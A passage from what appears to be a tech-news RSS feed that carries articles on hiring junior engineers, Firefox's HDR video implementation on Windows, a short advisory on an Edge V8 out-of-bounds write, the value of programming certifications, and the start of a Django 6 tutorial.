<p class="wp-block-paragraph">Respondents were also aware of the trap that Berry’s approach was created to avoid: AI tends to hand back a single answer, compared to multiple perspectives a colleague surfaces and they kept seeking teammates for context-specific expertise, mentorship and plain social connection.</p>



<p class="wp-block-paragraph"><br>The fix is almost mechanical: if you have to make a choice, you have to think about it. I do this in my own product thinking. Most of it happens by bouncing ideas off Claude, but whenever something is complex, I make myself lay out a few options, trade them against each other and decide which direction to take. That’s the same move Berry wants juniors making, and it’s what builds judgment, whether you’re twenty-two or forty.</p>



<h2 class="wp-block-heading"><a></a>Why we should still hire juniors</h2>



<p class="wp-block-paragraph">There’s also a hiring question underneath all of this. We recently hosted Kent Beck, an industry legend, at <a href="https://dx.community/">the Hanga</a>r in a session we called “Juniors FTW,” and his reasoning was that the industry is being remade fast enough that being new is an advantage. Juniors are too new to have absorbed what everyone “knows” is impossible, which leaves them less biased, more creative and carrying fewer preconceived mental barriers.</p>



<p class="wp-block-paragraph">Beck also <a href="https://newsletter.kentbeck.com/p/hey-n00b-we-didnt-hire-you-to-complete">wrote</a> about how important it is to hire juniors without the calculation of how many tasks they can perform.<br><br>“If all we cared about was today’s productivity, we wouldn’t have hired you at all. Instead, we (the seniors) are focused on the future: we know there’s going to be far more work here than we could possibly accomplish. We are paying your salary now as the option premium on the engineer you will become. If we play this game right, we’ll have a kick-ass next generation of engineers. If not, we’ll have to be doing the same engineering jobs ten years from now, and we really don’t want to be doing that.”</p>



<h2 class="wp-block-heading"><a></a>The pipeline is thinning</h2>



<p class="wp-block-paragraph">The trend is running the other way. Entry-level hiring at the 15 biggest tech firms fell 25 percent from 2023 to 2024, according to a <a href="https://www.signalfire.com/blog/signalfire-state-of-talent-report-2025">report from SignalFire</a>. In a recent <a href="https://stackoverflow.blog/2025/12/26/ai-vs-gen-z/">survey of engineering leaders</a>, a majority said they plan to hire fewer juniors, on the logic that AI lets seniors cover more ground.</p>



<p class="wp-block-paragraph">That logic is short-sighted in a specific way. Senior engineers don’t appear from nowhere. They’re the juniors someone hired five or ten years ago and invested in mentoring them. Stop hiring and growing juniors now, and the gap doesn’t show up this year. It shows up later, when the industry needs people with the judgment that only comes from years of making mistakes and recovering from them and finds it stopped producing them.</p>



<p class="wp-block-paragraph">So, here’s the answer to the question that the new hire asked: the path to senior and to staff is the same path it always was. You grow the range of ambiguity you can handle, and you stay honest about the part you can’t handle yet. What changed is the interface. The agent writes the code. Your job is to keep asking questions to your colleagues and the agents and keep doing the thinking until the thinking is good.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Mozilla GFX: HDR video in Firefox for Windows tech retrospective]]></title>
<description><![CDATA[HDR video is coming to Firefox for Windows users (and has been available for some time on macOS).  This blog post explains how we developed the feature and gives a retrospective on the technical choices we made.



A primer on video playback for the web:




Video file demux and decode: A video s...]]></description>
<link>https://tsecurity.de/de/3666879/tools/mozilla-gfx-hdr-video-in-firefox-for-windows-tech-retrospective/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666879/tools/mozilla-gfx-hdr-video-in-firefox-for-windows-tech-retrospective/</guid>
<pubDate>Tue, 14 Jul 2026 07:08:30 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="wp-block-paragraph">HDR video is coming to Firefox for Windows users (and has been available for some time on macOS).  This blog post explains how we developed the feature and gives a retrospective on the technical choices we made.</p>



<p class="wp-block-paragraph">A primer on video playback for the web:</p>



<ul class="wp-block-list">
<li><strong>Video file demux and decode</strong>: A video stream generally consists of parallel image and audio streams, along with captions, HDR scene metadata, and the like. “Container” formats like MP4 or MKV specify how these streams are combined, or multiplexed, into a single byte stream for transmission. On receipt, Firefox needs to divide that byte stream back into the individual media streams; this is de-multiplexing or “demuxing”. Then Firefox must uncompress the data to get images, audio samples, and so on. Firefox’s media team provides the demuxers, and pulls in appropriate codecs to decode them. We prefer using hardware video decoders if they work reasonably well. Video decompression usually produces roughly a YUV 4:2:0 image in <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/recommended-8-bit-yuv-formats-for-video-rendering">NV12 for SDR</a> or <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/10-bit-and-16-bit-yuv-video-formats">P010 for HDR</a>. (If you visit <strong>about:support</strong> in Firefox, and search for <strong>Codec Support Information</strong> (or one of the codec names like <strong>AV1</strong>), you can see a whole feature matrix of support details for which codecs are hardware and software on your system.)</li>



<li><strong>Gecko displaylist building</strong>: Given a demultiplexed, uncompressed frame of video, Gecko displaylist building incorporates it into a video element in the displaylist being sent to WebRender. If the frame was decoded in hardware, it is generally represented by a texture in GPU memory. Or, if it was decoded in software, then it is represented by a memory mapping holding some raw pixel data in system memory shared with Firefox’s media decoder process.</li>



<li><strong>WebRender</strong>: Given the video element in the displaylist, WebRender decides whether to promote it to a desktop compositor overlay, or whether it must instead be rendered using a pathway more like an ordinary HTML element. A compositor overlay is faster and uses less power; on Windows this uses DWM with the <a href="https://learn.microsoft.com/en-us/windows/win32/api/_directcomp/">DirectComposition API</a>, which manages a graph of <a href="https://learn.microsoft.com/en-us/windows/win32/api/dcomp/nn-dcomp-idcompositionvisual">visuals</a>. But if complex CSS is involved (rounded corners, blur filters, or similar features), Firefox must use WebRender’s ordinary rendering pathway. Currently the latter is not HDR capable, so Firefox favors the desktop compositor overlay for animated elements such as video and canvas.</li>
</ul>



<p class="wp-block-paragraph">As we began designing Firefox’s HDR support, we had to lay out some assumptions and found many complications:</p>



<ul class="wp-block-list">
<li>Initially, we had hoped that on a modern system, <a href="https://en.wikipedia.org/wiki/Rec._2100">BT2100</a> HDR videos could be displayed on Windows by simply sending them to DirectComposition.
<ul class="wp-block-list">
<li>In theory, the Desktop Window Manager (DWM) honors the <a href="https://learn.microsoft.com/en-us/windows/win32/api/dxgi1_4/nn-dxgi1_4-idxgiswapchain3">DXGISwapChain3</a>::<a href="https://learn.microsoft.com/en-us/windows/win32/api/dxgi1_4/nf-dxgi1_4-idxgiswapchain3-setcolorspace1">SetColorSpace1</a> method which should let us request either <a href="https://learn.microsoft.com/en-us/windows/win32/api/dxgicommon/ne-dxgicommon-dxgi_color_space_type">DXGI_COLOR_SPACE_YCBCR_STUDIO_G2084_LEFT_P2020</a> or <a href="https://learn.microsoft.com/en-us/windows/win32/api/dxgicommon/ne-dxgicommon-dxgi_color_space_type">DXGI_COLOR_SPACE_YCBCR_STUDIO_GHLG_LEFT_P2020</a>. The former refers to SMPTE 2084, more commonly called PQ, the <a href="https://en.wikipedia.org/wiki/Perceptual_quantizer">Perceptual Quantizer</a> function and the latter is ARIB-STD-B67  also known as HLG, the <a href="https://en.wikipedia.org/wiki/Hybrid_log%E2%80%93gamma">Hybrid Log Gamma</a> function, most commonly used on HDR TV broadcasts.</li>



<li>Unfortunately, this was a dead end. In testing with a mocked up <a href="https://github.com/FirefoxGraphics/compositor_colortest/tree/main">compositor test app</a>, calling SetColorSpace1 with this value seems to be ignored on P010 (at least in testing on AMD), so it incorrectly displays BT2100 PQ video as if it were BT709, which makes the video dull and muddy, since BT709 is a narrower gamut than BT2020, and the BT1886 transfer function used by BT709 is very different from PQ defined by BT2100. SetColorSpace1 may work on other vendors with P010, so it may be a valid optimization, but we were looking for a universal solution.</li>



<li>For the future, Windows 11 23H2 has added a new interface called IDCompositionTexture which may serve our purposes better; from what we have been told, it is universally supported for all formats and color spaces. We haven’t used it for video so far, but it’s an interesting future direction.</li>
</ul>
</li>



<li>As noted above, HDR videos must use a desktop compositor overlay. HDR video uses the BT2100 PQ colorspace with an RGB10A2 format, while WebRender can only work with images in the sRGB colorspace (appropriate for standard-dynamic-range BT709 video).
<ul class="wp-block-list">
<li>Until HDR came along, Gecko and WebRender only used desktop compositor overlays as a power/performance optimization. With HDR, overlays become a necessity as the pixel format and color space differ from classic sRGB.</li>



<li>Fortunately, HDR videos tend to be shown without particularly fancy CSS rendering such as clip masks and rounded corners, which would require WebRender to perform further copies. Technically, DirectComposition does support all of those features, but Firefox doesn’t use that functionality much.</li>



<li>In the future, we expect to upgrade WebRender for HDR rendering, allowing us to deal with complex cases like clip masks or blur filters on video elements.</li>
</ul>
</li>



<li>We considered whether we could use VideoProcessorBlt, or whether we should write our own shader instead.
<ul class="wp-block-list">
<li>In favor of VideoProcessorBlt:
<ul class="wp-block-list">
<li>It uses less power on GPUs that have a video processor unit.</li>



<li>We discovered in testing (using <a href="https://learn.microsoft.com/en-us/windows/win32/api/d3d11_1/nf-d3d11_1-id3d11videoprocessorenumerator1-checkvideoprocessorformatconversion">CheckVideoProcessorFormatConversion</a>) that while many modern GPUs support one of the needed conversions (P010 PQ -&gt; RGB10 PQ), few support the ones we need for HLG videos (P010 HLG -&gt; RGB10 PQ).</li>



<li>The ‘video-dynamic-range’ query used on the web is not fine-grained enough to be able to say “the web browser can display PQ video but not HLG video”, so if we went with VideoProcessorBlt as a required feature, only about 20% of HDR desktop users would be able to use the feature.</li>



<li>In the future, we could explore using VideoProcessorBlit to save power on hardware that supports the conversions we need. But other web browsers are not using this functionality, so there may be more issues we haven’t found yet.</li>
</ul>
</li>



<li>In favor of writing our own shader with all of the features:
<ul class="wp-block-list">
<li>This would work consistently on all vendors – nothing special here.</li>



<li>This would look the same on all vendors, regardless of hardware capabilities. This is generally the aim of web standards.</li>



<li>This would support anything we want it to. HDR tonemapping can be implemented. Video orientation can be implemented (for videos recorded on phones which may be rotated 90, 180 or 270 degrees). We can support any kind of YUV-&gt;RGB conversion with a color matrix (even weird legacy formats like GBR 4:2:0).  We can support conversion between color primaries (e.g. BT2020-&gt;BT709).  We can convert to linear color (for scRGB using RGBA16F) or any EOTF we want (notably BT2100 PQ with RGB10A2, for our use-case).</li>
</ul>
</li>



<li>In the end we went with the shader after a significant period of time experimenting with VideoProcessorBlt in our Nightly releases.</li>
</ul>
</li>



<li>There is a very large amount of graphics code in Gecko and WebRender that needs to be upgraded for HDR.
<ul class="wp-block-list">
<li>We decided that the most important code paths to upgrade first are the ones for regular video playback and DRM-protected video playback, and later canvas video import (Canvas2D, WebGL, WebGPU) which will require upgrading canvas for HDR first – another big project.</li>



<li>We had to upgrade several dozen structs to carry the transfer function for video data, as previously all code assumed video used BT1886 EOTF.</li>
</ul>
</li>



<li>We hope we can avoid tone mapping HDR content when viewed on HDR displays.
<ul class="wp-block-list">
<li>It’s reasonable to expect that most displays going forward will be HDR displays (partly because of marketing momentum, partly because displays are made by a very finite set of manufacturers who are all making HDR display panels), and eventually tone mapping may become unnecessary on the web.</li>



<li>For the short-term we will have to apply a tone mapping effect when HDR content is viewed on SDR displays, likely using  ‘Reinhard tonemapping’ which refers to the widely available paper <a href="https://doi.org/10.1145/566654.566575">Photographic Tone Reproduction for Digital Images</a> by Erik Reinhard et al, and configuring it for a fixed brightness ratio of 400 cd/m^2 -&gt; 100 cd/m^2 when used on SDR displays, and see if that fits all HDR content on the web well enough for a good user experience – and if it does not, we will iterate based on feedback from users on Firefox Nightly.</li>



<li>We are hoping that we will never have to apply tonemapping for HDR content on HDR displays, there are multiple factors in this decision:
<ul class="wp-block-list">
<li>Varying the brightness limit would make it a significant fingerprinting vector if not handled very carefully if the script can inspect pixels or parameters related to that.  There are ways to mitigate this but they are all awkward restrictions to impose, and queries would have to get a different answer than what the rendering is using.</li>



<li>Phones and laptops with light sensors may vary the reference brightness in real time, and this changes the maximum displayable ratio (aka HDR headroom) every refresh, which is also a major battery drain if we keep redrawing all of the time.</li>



<li>Documents composed of multiple images (a gallery or some form of art composition) would apply different tonemapping to each image if the brightest pixel in each image is different brightness).  We’d have to do something about that to make it controllable via CSS.</li>



<li>In general the detailed parts of an image are within a certain brightness band – see <a href="https://www.yedlin.net/DebunkingHDR/">Debunking HDR</a> for a detailed lecture on film grading and why you would not have significant difference in brightness between scene elements.</li>



<li>User feedback so far has indicated that not applying tonemapping has given them a better viewing experience on some videos.</li>
</ul>
</li>
</ul>
</li>



<li>WebRTC is implemented using a library, common to all web browsers, which has limited support for HDR.
<ul class="wp-block-list">
<li>While we didn’t prioritize this for an initial feature launch, we are looking at how to implement HDR support properly in libwebrtc. This is in the early assessment phase but we know this is wanted for a couple of use-cases, like video calls for meetings, or game streaming with friends watching.</li>
</ul>
</li>
</ul>



<p class="wp-block-paragraph">In general, one of the biggest challenges in working on graphics code in a web browser is a lack of documentation for how to best use features like video playback and desktop compositing in the context of a web browser (e.g. multiple processes, sandboxing, shared memory, sharing external textures, etc). This parallels the rarity of graphics engineers with such experience. Building new features in this space requires a lot of research (and a lot of trial and error). The solution you end up with may not look at all like the one you initially imagined.</p>



<p class="wp-block-paragraph">On behalf of the graphics team at Mozilla, I want to thank the people who use Firefox Nightly regularly and file bug reports when things aren’t working the way they want. Comments on <a href="https://mozillagfx.wordpress.com/2026/01/16/experimental-high-dynamic-range-video-playback-on-windows-in-firefox-nightly-148/">Experimental High Dynamic Range video playback on Windows in Firefox Nightly 148</a>, <a href="https://connect.mozilla.org/">Mozilla Connect</a>, and <a href="https://bugzilla.mozilla.org/">Bugzilla</a> bug reports have guided us to focus on the use-cases that matter to people using Firefox. When we succeed, it’s a great feeling.</p>



<p class="wp-block-paragraph">We’re working on extending HDR support to photos, apps/games and general web content.</p>]]></content:encoded>
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<title><![CDATA[CVE-2022-3373 | Microsoft Edge V8 out-of-bounds write (EUVD-2022-42752)]]></title>
<description><![CDATA[A vulnerability classified as critical was found in Microsoft Edge. Affected is an unknown function of the component V8. The manipulation results in out-of-bounds write.

This vulnerability is reported as CVE-2022-3373. The attack can be launched remotely. No exploit exists.

It is best practice ...]]></description>
<link>https://tsecurity.de/de/3666460/sicherheitsluecken/cve-2022-3373-microsoft-edge-v8-out-of-bounds-write-euvd-2022-42752/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666460/sicherheitsluecken/cve-2022-3373-microsoft-edge-v8-out-of-bounds-write-euvd-2022-42752/</guid>
<pubDate>Mon, 13 Jul 2026 23:10:31 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> was found in <a href="https://vuldb.com/product/microsoft:edge">Microsoft Edge</a>. Affected is an unknown function of the component <em>V8</em>. The manipulation results in out-of-bounds write.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2022-3373">CVE-2022-3373</a>. The attack can be launched remotely. No exploit exists.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[Turning Secure Software Development into a Measurable Practice]]></title>
<description><![CDATA[CIS and SAFECode have updated Secure by Design: A Developer’s Guide to Building Safer Software to address the role of AI on software security.]]></description>
<link>https://tsecurity.de/de/3665842/it-security-nachrichten/turning-secure-software-development-into-a-measurable-practice/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665842/it-security-nachrichten/turning-secure-software-development-into-a-measurable-practice/</guid>
<pubDate>Mon, 13 Jul 2026 18:23:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[CIS and SAFECode have updated Secure by Design: A Developer’s Guide to Building Safer Software to address the role of AI on software security.]]></content:encoded>
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<title><![CDATA[Do programming certifications still matter?]]></title>
<description><![CDATA[If you’re a software developer or architect, you might wonder if programming certifications are still worth the effort, especially in the era of rapid AI-driven evolution. The short answer is, it depends.



“Certifications are shifting from a checkbox to a compass. They’re less about proving you...]]></description>
<link>https://tsecurity.de/de/3665678/ai-nachrichten/do-programming-certifications-still-matter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665678/ai-nachrichten/do-programming-certifications-still-matter/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:44 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">If you’re a software developer or architect, you might wonder if programming certifications are still worth the effort, especially in the era of rapid <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">AI-driven evolution</a>. The short answer is, it depends.</p>



<p class="wp-block-paragraph">“Certifications are shifting from a checkbox to a compass. They’re less about proving you memorized syntax and more about proving you can architect systems, instruct AI coding assistants, and solve problems end-to-end,” says Faizel Khan, lead AI engineer at <a href="https://landingpoint.com/">Landing Point</a>, an executive search and recruiting firm.</p>



<p class="wp-block-paragraph">“In the AI era, fewer students will get trained on the job, which means they have to train themselves,” Khan says. “Certifications—especially architectural ones like AWS, Kubernetes, Terraform—are still the clearest path to do that.”</p>



<h2 class="wp-block-heading">Pros and cons of programming certifications</h2>



<p class="wp-block-paragraph">It’s not all black and white when it comes to deciding whether to pursue programming certifications. The effort involves both pros and cons.</p>



<p class="wp-block-paragraph">“In terms of pros, certifications concretely demonstrate that you have a skillset at a documented level,” says Chris Riccio, vice president of engineering at <a href="https://uplevelteam.com/">Uplevel</a>, an engineering optimization system provider. “They also show that you’ve put in the time and effort to learn, study, and prepare.”</p>



<p class="wp-block-paragraph">Programming certifications are “a useful way to validate foundational skills and show that someone understands core concepts,” says Greg Fuller, vice president of Skillsoft’s training provider, <a href="https://www.codecademy.com/">Codecademy</a>. “They’re especially helpful for people entering the field or shifting from adjacent roles.”</p>



<p class="wp-block-paragraph">Certifications offer a structured path to demonstrate proficiency, and they can confirm your ability to build and deploy in various environments, Fuller says.</p>



<p class="wp-block-paragraph">These types of certifications often demonstrate baseline proficiency and continuous learning, says Reshmi Ramachandran, head of partnerships and GTM strategy for <a href="https://www.cprime.com/">Cprime</a>, a consultancy. “These are often key indications of proficiency for companies looking to filter large candidate pools,” she says.</p>



<p class="wp-block-paragraph">Certifications really do two things, Khan adds. “First, they force you to learn by doing,” he says. “If you’re taking AWS Solutions Architect or Terraform, you don’t pass by guessing—you plan, build, and test systems. That practice matters. Second, they act as a public signal. Think of it like a micro-degree. You’re not just saying, ‘I know cloud.’ You’re showing you’ve crossed a bar that thousands of other engineers recognize.”</p>



<p class="wp-block-paragraph">But there are cons, too. “In tech, employers don’t just want credentials, they want proof you can deliver,” says Kevin Miller, CTO at <a href="https://www.ifs.com/industries/manufacturing/industrial-manufacturing">IFS</a>, a maker of factory automation software. “Programming certifications can be a valuable indicator of your baseline knowledge and competencies, especially if you’re early in your career or pivoting into tech, but their importance is dwindling.”</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/generative-ai/">AI tools</a> that can generate, debug, and optimize code are <a href="https://www.infoworld.com/article/4077352/85-of-developers-use-ai-regularly-jetbrains-survey.html" data-type="link" data-id="https://www.infoworld.com/article/4077352/85-of-developers-use-ai-regularly-jetbrains-survey.html">already performing tasks once done by entry-level developers</a>, “which means fewer traditional programming roles are available,” Miller says. “As a result, the job market is becoming more competitive, and certifications aren’t seen as the noteworthy achievement they once were.”</p>



<p class="wp-block-paragraph">What’s more, not all certifications carry the same weight, Riccio says. “Some may reflect only familiarity rather than true expertise,” he says. “Certifications also often measure ‘book knowledge’ rather than practical experience, and they don’t always map clearly to the requirements of a specific role.”</p>



<p class="wp-block-paragraph">Programming certifications “can be a helpful signal, especially for confirming baseline knowledge in areas like cloud, security, or devops, but they’re not the full picture,” says Morgan Watts, vice president of IT at <a href="https://developer.8x8.com/">8×8</a>, a contact center platform developer.</p>



<p class="wp-block-paragraph">“I’m more interested in a candidate’s attitude and aptitude: what problems they’ve solved, what they’ve built, and how they’ve approached challenges,” Watts says. “Certifications can show commitment and discipline, and they’re especially useful in highly specialized roles. But I’m cautious when someone presents a laundry list of certifications with little evidence of real-world application.”</p>



<p class="wp-block-paragraph">A certification without experience doesn’t carry much weight, Watts says, and over-certification can sometimes signal the wrong focus. “Ultimately, it’s the ability to apply knowledge, collaborate, and adapt that sets great developers apart,” he says.</p>



<p class="wp-block-paragraph">Finally, certifications can age fast, Khan says. “Tech stacks evolve and a badge from two years ago may already feel dusty,” he says. “And some certifications are paper-thin—multiple-choice exams that don’t prove you can debug production at 2 a.m. So, the risk is you collect badges but still can’t ship.”</p>



<h2 class="wp-block-heading">Which certifications will get you noticed?</h2>



<p class="wp-block-paragraph">Despite the drawbacks, certifications are still very much in demand, and some carry more weight than others.</p>



<p class="wp-block-paragraph">The most in-demand certifications are typically platform-based—Amazon Web Services (AWS), Google Cloud Platform (GCP), Microsoft Azure, and others, Riccio says. “Many of these platforms provide managed services that integrate with existing systems or serve as the glue between them,” he says. “Today’s engineering teams aren’t just building standalone systems in isolation; they’re using other systems to store data, orchestrate business workflows, and connect applications.”</p>



<p class="wp-block-paragraph">A certification that demonstrates the ability to build solutions on these platforms can put a development professional ahead of the competition, Riccio says.</p>



<p class="wp-block-paragraph">“The certifications I see in highest demand tend to reflect the evolving tech landscape,” Watts says. “Cloud certifications from AWS, Azure, and GCP are incredibly valuable, especially as distributed systems become the norm.”</p>



<p class="wp-block-paragraph">Also in demand are certifications for <a href="https://www.infoworld.com/article/3632270/the-devops-certifications-tech-companies-want.html">devops and CI/CD tools</a> including <a href="https://www.infoworld.com/article/3529526/how-to-succeed-with-kubernetes.html">Kubernetes</a>, <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker</a>, and <a href="https://www.infoworld.com/article/2260091/what-is-jenkins-the-ci-server-explained.html">Jenkins</a>, Watts says, “because deployment automation and reliability are critical at scale. Also, with AI reshaping development, we’re seeing growing interest in certifications around machine learning, data science, and AI model integration. These certifications stand out because they align directly with the skills that teams need to move faster and more intelligently.”</p>



<aside class="sidebar large">
<h3>More about developer certifications</h3>
<p>Learn more about developer courses and certifications tech companies want:</p>
<ul>
<li><a href="https://www.infoworld.com/article/4055032/ai-developer-certifications-tech-companies-want.html">AI developer certifications</a></li>
<li><a href="https://www.infoworld.com/article/3583466/the-machine-learning-certifications-tech-companies-want.html">Machine learning certifications</a></li>
<li><a href="https://www.infoworld.com/article/2337635/4-cloud-certifications-that-will-help-you-stand-out.html">Cloud development certifications</a></li>
<li><a href="https://www.infoworld.com/article/3632270/the-devops-certifications-tech-companies-want.html">Devops and CI/CD certifications</a></li>
</ul>
</aside>




<p class="wp-block-paragraph">On the AI front, certifications in <a href="https://www.infoworld.com/article/2255099/what-is-tensorflow-the-machine-learning-library-explained.html">TensorFlow</a> and other <a href="https://www.infoworld.com/article/3583466/the-machine-learning-certifications-tech-companies-want.html">machine learning platforms</a> are gaining traction as organizations look to embed AI across the development process, Watts says. “These are the certifications that align closely with where modern engineering is headed—scalable, secure, and AI-enabled,” he says.</p>



<p class="wp-block-paragraph">And then there are <a href="https://www.csoonline.com/article/3970107/the-14-most-valuable-cybersecurity-certifications.html">cybersecurity credentials</a> that continue to be in high demand. Security certifications, such as CompTIA Security+ or Certified Ethical Hacker, “have become essential as every company faces increasing cyber threats and compliance requirements,” Miller says.</p>



<p class="wp-block-paragraph">“Core programming certifications are still a bit niche, but the adjacent skills, like those that help developers deploy, secure, and scale their code, are driving demand,” Fuller says. “Companies want developers who understand the full lifecycle, not just how to write code.”</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3980325/the-java-certifications-tech-companies-want.html">The best Java certifications for software developers</a>.</strong></p>



<h2 class="wp-block-heading">Certifications in the hiring process</h2>



<p class="wp-block-paragraph">Experts are clear that programming certifications alone will not get you the job. But they do play a role in the hiring process.</p>



<p class="wp-block-paragraph">“The information technology world is characterized by rapid and continuous evolution, including the skills and knowledge required to work in the field,” says Diane Rafferty, managing director of the National Technology Group at <a href="https://www.atriumglobal.com/">Atrium</a>, a global talent solutions and extended workforce management firm.</p>



<p class="wp-block-paragraph">“Certifications not only prove that you have the skills and knowledge needed, but they also show employers that you’re invested in your education and career growth,” Rafferty says. “They can give you a competitive edge when looking for a job, as many companies now require candidates to have them.”</p>



<p class="wp-block-paragraph">Certifications are one part of the hiring equation, “but never the only part,” Watts says. “They help validate that a candidate has taken the time to build foundational knowledge, and that’s a good sign. But I put more weight on how a person thinks, solves problems, and contributes to the team. I look for people who are curious and proactive, who are learning because they want to, not just because a course told them to.”</p>



<p class="wp-block-paragraph">Certifications can also play a valuable role in retention, Watts says. “I encourage team members to pursue growth, and when they invest in their own development, the whole organization benefits,” he says. “But again, it’s that balance of knowledge, attitude, and applied experience that really moves the needle.”</p>



<p class="wp-block-paragraph">Certifications “may allow you to breeze through the initial résumé screening process, potentially getting you to the next stage faster,” Riccio says. “At a minimum, they will set your profile apart from the rest of the pack. They also demonstrate that you’ve reached a baseline level of expertise, allowing hiring managers to quickly evaluate whether you have the skills for the role.”</p>



<p class="wp-block-paragraph">Employers today “care far less about whether someone has passed an exam and far more about whether they can apply knowledge effectively in real-world situations, leverage AI tools, and solve complex problems,” Miller says. “A certification might get someone an interview, but being able to demonstrate problem-solving skills, teamwork, and adaptability will really make them stand out.”</p>



<h2 class="wp-block-heading">Popular programming certifications</h2>



<p class="wp-block-paragraph">The following certifications consistently rose to the top in my conversations with tech leaders and hiring managers.</p>



<h3 class="wp-block-heading">AWS Certified Developer—Associate</h3>



<p class="wp-block-paragraph">Showcases skills and knowledge in developing, optimizing, packaging, and deploying applications, using CI/CD workflows, and identifying and resolving application issues, according to AWS. This certification is said to be a good starting point on the AWS certification journey for professionals in IT or cloud developer job roles.</p>



<h3 class="wp-block-heading">Azure Developer Associate</h3>



<p class="wp-block-paragraph">This certificate from Microsoft is intended for developers participating in all phases of cloud development, including design, deployment, maintenance, and monitoring. The course teaches developers how to create end-to-end solutions in Microsoft Azure, using the Microsoft Learn Sandbox environment to access Azure resources and services.</p>



<h3 class="wp-block-heading">Certified Kubernetes Application Developer (CKAD)</h3>



<p class="wp-block-paragraph">This certification was created by the Linux Foundation and Cloud Native Computing Foundation. It demonstrates that candidates can design, build, and deploy cloud-native applications for Kubernetes.</p>



<h3 class="wp-block-heading">Certified Secure Software Lifecycle Professional (CSSLP)</h3>



<p class="wp-block-paragraph">This certification, from ISC2, focuses on secure software development practices. It recognizes leading application security skills and demonstrates advanced technical skills and knowledge needed for authentication, authorization, and auditing throughout the software development lifecycle.</p>



<h3 class="wp-block-heading">Databricks Certified Machine Learning Professional</h3>



<p class="wp-block-paragraph">Professionals learn about the latest data and AI techniques and how they can use the Databricks Data Intelligence Platform to build a variety of solutions across data engineering, data warehousing, data science, and AI.</p>



<h3 class="wp-block-heading">Professional Cloud Architect</h3>



<p class="wp-block-paragraph">This certification from Google assesses the ability to design and plan a cloud solution architecture, manage and provision the cloud solution infrastructure, design for security and compliance, analyze and optimize technical and business processes manage implementations of cloud architecture, and ensure solution and operations reliability.</p>



<h3 class="wp-block-heading">Terraform Associate</h3>



<p class="wp-block-paragraph">This certification from HashiCorp is for cloud engineers specializing in operations, IT, or development who know the basic concepts and skills associated with Terraform. It validates foundational skills in using <a href="https://www.infoworld.com/article/3893387/how-terraform-is-evolving-infrastructure-as-code.html">Terraform</a> for <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure as code</a> development.</p>
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<title><![CDATA[Django tutorial: Get started with Django 6]]></title>
<description><![CDATA[Django is a one-size-fits-all Python web framework that was inspired by Ruby on Rails and uses many of the same metaphors to make web development fast and easy. Fully loaded and flexible, Django has become one of Python’s most widely used web frameworks.



Now in version 6.0, Django includes vir...]]></description>
<link>https://tsecurity.de/de/3665671/ai-nachrichten/django-tutorial-get-started-with-django-6/</link>
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<pubDate>Mon, 13 Jul 2026 17:04:35 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Django is a one-size-fits-all <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">Python</a> web framework that was inspired by <a href="https://www.infoworld.com/article/2337962/whatever-happened-to-ruby.html">Ruby on Rails</a> and uses many of the same metaphors to make web development fast and easy. Fully loaded and flexible, Django has become one of Python’s most widely used web frameworks.</p>



<p class="wp-block-paragraph">Now in version 6.0, Django includes virtually everything you need to build a web application of any size, and its popularity makes it easy to find examples and help for various scenarios. Plus, Django provides tools to allow your application to evolve and add features gracefully, and to migrate its data schema if there is one.</p>



<p class="wp-block-paragraph">Django also has a reputation for being complex, with many components and a good deal of “under the hood” configuration required. In truth, you can use Django to get a simple Python application up and running in relatively short order, then expand its functionality as needed.</p>



<p class="wp-block-paragraph">This article guides you through creating a basic application using Django 6.0. We’ll also touch on the most crucial features for web developers in the <a href="https://docs.djangoproject.com/en/6.0/releases/6.0">Django 6 release</a>.</p>



<aside class="sidebar large">
<h3>What version of Python do I need?</h3>
<p>To install Django 6.0, you will need Python 3.12 or better. Ideally, you should use the most recent Python version that supports everything you want to do with your Django project, but in some cases, it may not be possible to update. If you’re stuck with an earlier version of Python, you may be able to use Django 5. Consult <a href="https://docs.djangoproject.com/en/6.0/faq/install/#what-python-version-can-i-use-with-django">Django’s Python version table</a> to find out which versions you can use.</p>
</aside>




<h2 class="wp-block-heading">Installing Django</h2>



<p class="wp-block-paragraph">Assuming you have Python 3.12 or higher installed, the first step to installing Django is to <a href="https://www.infoworld.com/article/2260103/virtualenv-and-venv-python-virtual-environments-explained.html">create a virtual environment</a>. Installing Django in the venv keeps Django and its associated libraries separate from your base Python installation, which is always a good practice.</p>



<aside class="sidebar large">
<h3>Note about venvs</h3>
<p>Note that you do not need to use virtual environments to create multiple projects using a single instance of Django. You only need them to isolate different point revisions of the Django framework, each with different projects.</p>
</aside>




